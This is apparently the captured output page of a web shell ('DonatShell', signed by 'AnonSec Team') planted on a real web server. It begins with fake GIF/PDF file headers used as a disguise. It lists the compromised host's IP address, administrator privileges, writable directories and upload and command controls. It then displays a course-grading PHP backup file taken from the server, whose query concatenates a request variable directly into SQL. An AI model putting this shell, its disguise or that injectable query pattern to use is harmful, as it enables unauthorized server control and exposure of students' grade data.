GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Course/Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Course/Archive//AssignmentGrades.phpinc.bak
<?
// Course/AssignmentGrades.phpinc
// 

$assignmentNumber = 1;
$gradePoints = 0;
$totalPoints = 0;

?>
<fieldset><legend><?=$f_userFullName?> <?=$courseNumber?><?=$f_section?> Assignments &amp; Grades</legend>
<table>
	<tr>
		<th>#</th>
    <th>Assignment</th>
    <th>Status</th>
    <th>Grade</th>
    <th>Pts</th>
    <th>Comments</th>
	</tr>
<?

// See if the Student Profile is used.
$query = "
    SELECT classId,
           courseId,
           YRTR,
           RCclassId,
           classSection,
           studentProfilePoints,
           classProfilePoints
      FROM `class`
     WHERE classId = ".$f_classId."
";
$classResult = query_do($query);
mysql_data_seek($classResult, 0);
$classRow = mysql_fetch_assoc($classResult);
$studentProfilePoints = $classRow['studentProfilePoints'];
$classProfilePoints = $classRow['classProfilePoints'];

// Student profile.
if ( $studentProfilePoints ) {
	include('Course/Assignments_StudentProfile.phpinc');
}

// Class profile.
if ( $classProfilePoints ) {
	include('Course/Assignments_ClassProfile.phpinc');
}

// Other assignments.
if ( file_exists($dir.'assignments.phpinc') ) {
	include('assignments.phpinc');
}

?>
	</tr>
<?
	
?>
  <tr>
  <td colspan="3" class="right">Total:</td><td class="right"><?=$gradePoints?></td><td class="right"><?=$totalPoints?></td>
  </tr>
</table>
<?
$percent = (integer) ( $gradePoints / $totalPoints * 1000 + .5 ) / 10;
#printVar('$gradePoints',$gradePoints);
#printVar('$totalPoints',$totalPoints);
#printVar('$percent',$percent);

if ( $percent >= 93 ) {
	$grade = 'A';
} elseif ( $percent >= 90 ) {
	$grade = 'A-';
} elseif ( $percent >= 87 ) {
	$grade = 'B+';
} elseif ( $percent >= 83 ) {
	$grade = 'B';
} elseif ( $percent >= 80 ) {
	$grade = 'B-';
} elseif ( $percent >= 77 ) {
	$grade = 'C+';
} elseif ( $percent >= 73 ) {
	$grade = 'C';
} elseif ( $percent >= 70 ) {
	$grade = 'C-';
} else {
		$grade = 'F';
} 
?>
Based on the scale: A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, F:<70%.<br>
Your grade is <b><?=$grade?></b>.
</fieldset>
<?
#printVar('$gradePoints',$gradePoints);
#printVar('$totalPoints',$totalPoints);
#printVar('$percent',$percent);
#printVar('$grade',$grade);
?>

Anon7 - 2022
AnonSec Team